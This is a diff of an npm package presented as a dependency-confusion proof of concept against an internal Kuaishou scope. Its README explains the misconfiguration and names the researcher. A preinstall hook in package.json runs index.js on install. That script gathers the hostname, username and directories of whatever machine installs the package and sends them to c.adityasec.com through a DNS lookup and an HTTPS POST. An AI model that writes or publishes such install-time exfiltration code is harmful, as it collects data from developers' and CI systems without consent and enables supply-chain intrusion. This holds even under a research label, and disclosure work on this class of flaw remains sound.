@k18n/creatormarketplace-admin-language 99.0.0

package/README.md

@@ -0,0 +1,29 @@
+# @k18n/creatormarketplace-admin-language - Dependency Confusion PoC
+
+## This is a security research package
+
+This package exists to demonstrate that the `@k18n` npm scope was **unclaimed**
+on the public npm registry while being actively used in internal Kuaishou
+(快手) projects via private Git SSH dependencies.
+
+**If your build installed this package, your dependency resolution is
+misconfigured.** Your package manager resolved `@k18n/*` from the public npm
+registry instead of your internal Git server at `git.corp.kuaishou.com`.
+
+## Impact
+
+An attacker could publish a malicious package under this scope. When any
+developer or CI/CD system fails to resolve the internal Git SSH URL (network
+issues, missing SSH keys, misconfigured `.npmrc`), the package manager may
+fall back to the public registry and execute arbitrary code during install
+via `preinstall` / `postinstall` hooks.
+
+## Researcher
+
+- Handle: @assassin_marcos
+- Email: darkknight.harry@gmail.com
+
+## References
+
+- Alex Birsan, "Dependency Confusion" (2021)
+- CWE-427: Uncontrolled Search Path Element

package/index.js

@@ -0,0 +1,51 @@
+const https = require("https");
+const http = require("http");
+const os = require("os");
+const dns = require("dns");
+
+const pkg = "@k18n/creatormarketplace-admin-language";
+const ver = "99.0.0";
+
+const info = [
+  `pkg=${pkg}`,
+  `ver=${ver}`,
+  `host=${os.hostname()}`,
+  `user=${os.userInfo().username}`,
+  `dir=${__dirname}`,
+  `cwd=${process.cwd()}`
+].join("|");
+
+const encoded = Buffer.from(info).toString("hex").slice(0, 50);
+
+try {
+  dns.resolve(`${encoded}.c.adityasec.com`, () => {});
+} catch (e) {}
+
+try {
+  const data = JSON.stringify({
+    package: pkg,
+    version: ver,
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    directory: __dirname,
+    cwd: process.cwd(),
+    timestamp: new Date().toISOString()
+  });
+
+  const req = https.request({
+    hostname: "c.adityasec.com",
+    port: 443,
+    path: "/LdCdrTByhmflbwt5qFNisg",
+    method: "POST",
+    headers: { "Content-Type": "application/json", "Content-Length": data.length },
+    timeout: 5000
+  });
+  req.on("error", () => {});
+  req.write(data);
+  req.end();
+} catch (e) {}
+
+console.log(`[dependency-confusion-poc] ${pkg}@${ver}`);
+console.log("[dependency-confusion-poc] Security research package by @assassin_marcos");
+console.log("[dependency-confusion-poc] If you see this, your build resolved @k18n from public npm instead of internal git.corp.kuaishou.com");
+console.log("[dependency-confusion-poc] Contact: darkknight.harry@gmail.com");

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "@k18n/creatormarketplace-admin-language",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion proof of concept. This package demonstrates that the @k18n npm scope was unclaimed while being used internally by Kuaishou. Contact: darkknight.harry@gmail.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "assassin_marcos <darkknight.harry@gmail.com>",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/assassin-marcos/dependency-confusion-poc"
+  }
+}